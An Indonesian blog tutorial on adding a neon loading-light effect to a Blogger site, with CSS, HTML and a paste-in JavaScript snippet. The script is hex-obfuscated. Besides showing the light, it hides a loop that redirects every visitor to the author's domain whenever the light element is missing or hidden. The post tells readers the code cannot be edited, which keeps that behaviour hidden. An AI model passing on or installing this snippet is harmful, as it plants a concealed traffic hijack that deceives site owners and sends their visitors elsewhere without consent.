Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya membuat efek preloader cahaya lampu neon di blogger, ataupun di website
Info: Oke sobat ICloudzer jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama
Lampu Neon
Lampu atau cahaya neon selalu identik dengan warna terang dan berkilau, jika anda menyukai nya mungkin efek cahaya neon di blogger bisa kamu terapkan dan kamu gunakan untuk mempercantik tampilan blog kamu, pastinya
Ringan dan Responsif
Efek cahaya neon di blogger tersebut sangat ringan dan juga responsif, selain itu efek cahaya neon hanya muncul saat pengguna merefresh tampilan blog anda, atau memuat ulang tampilan blog anda tersebut
Menggunakan CSS
Cukup simpel efek cahaya neon di blogger di buat menggunakan kode CSS saja, sehingga untuk mengubah ataupun mengedit tampilan cahaya neon bisa di lakukan dengan cukup mudah, semisal mengubah letak posisi, mengubah warna dan sebagainya asalkan mengerti serta faham dengan kode CSS walaupun sedikitpun
Contoh Tampilan
Silahkan refresh tampilan blog sekarang, dan lihat pada bagian atas blog ICloudice saat merefresh tampilan blog tersebut, atau gunakan saja tombol di bawah ini untuk memeriksa nya
Info: Bagaimana sobat dengan contoh tampilan nya keren sekali yak, pastilah keren 🥲
Cara pembuatan
Baiklah sobat sekarang saatnya lah admin jelaskan bagaimana caranya membuat efek cahaya neon di blogger, silahakan baca dan ikuti setiap arahan yang admin jabarkan di bawah ini
Kode CSS
Silahkan seperti biasa salin dan gunakan kode CSS di bawah ini, kemudian letakkan di atas kode ]]></b:skin>
/* Lighting by ICloudice */
.rahLght::before, .rahLght::after{content:'';position:fixed;width:100%;top:0;left:0;right:0;height:3px;z-index:55;background:linear-gradient(-45deg, #4086F4, #31A952, #FBBE01, #EB4132,#4086F4, #31A952, #FBBE01, #EB4132);background-size:200%;-webkit-animation:rahNeon 5s linear infinite;animation:rahNeon 5s linear infinite;visibility:none;opacity:0;transition:all 1s ease}
.rahLght::after{height:10px;filter:blur(10px)}
.rahLght.vsbl::before, .rahLght.vsbl::after{visibility:visible;opacity:.7} @-webkit-keyframes rahNeon{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}} @keyframes rahNeon{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}Info: Atau sobat bisa menggunakan tag kode <style> untuk meletakkan kode CSS di atas
Kode HTML
Langkah selanjutnya kamu bisa menyalin lagi kode HTML di bawah ini kemudian letakkan di bawah kode <body>
<div class='rahLght' id='rahLght'/>Info: Fungsi kode HTML di atas adalah untuk menampilkan efek cahaya neonnya
Kode Javascript
Selanjutnya kamu bisa menyalin lagi kode javascript di bawah ini kemudian kamu bisa meletakkannya di bawah kode <body>
<script>/*<![CDATA[*/
var _0xd33a=["\x23\x72\x61\x68\x4C\x67\x68\x74","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x76\x73\x62\x6C","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x72\x65\x6D\x6F\x76\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4C\x67\x68\x74","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4C\x67\x68\x74\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];var rahChya=document[_0xd33a[1]](_0xd33a[0]);rahChya[_0xd33a[4]][_0xd33a[3]](_0xd33a[2]);document[_0xd33a[7]](_0xd33a[5],function(){setTimeout(function(){rahChya[_0xd33a[4]][_0xd33a[6]](_0xd33a[2])},2000)});$(document)[_0xd33a[18]](function(){$(_0xd33a[12])[_0xd33a[11]](_0xd33a[10],_0xd33a[8])[_0xd33a[9]](_0xd33a[8]);setInterval(function(){if(!$(_0xd33a[14])[_0xd33a[13]]){window[_0xd33a[16]][_0xd33a[15]]= _0xd33a[17]}},3000)})
/*]]>*/</script>Info: Kode di atas tidak bisa diedit, jika di edit tampilan efek preloader cahaya neon nggak akan muncul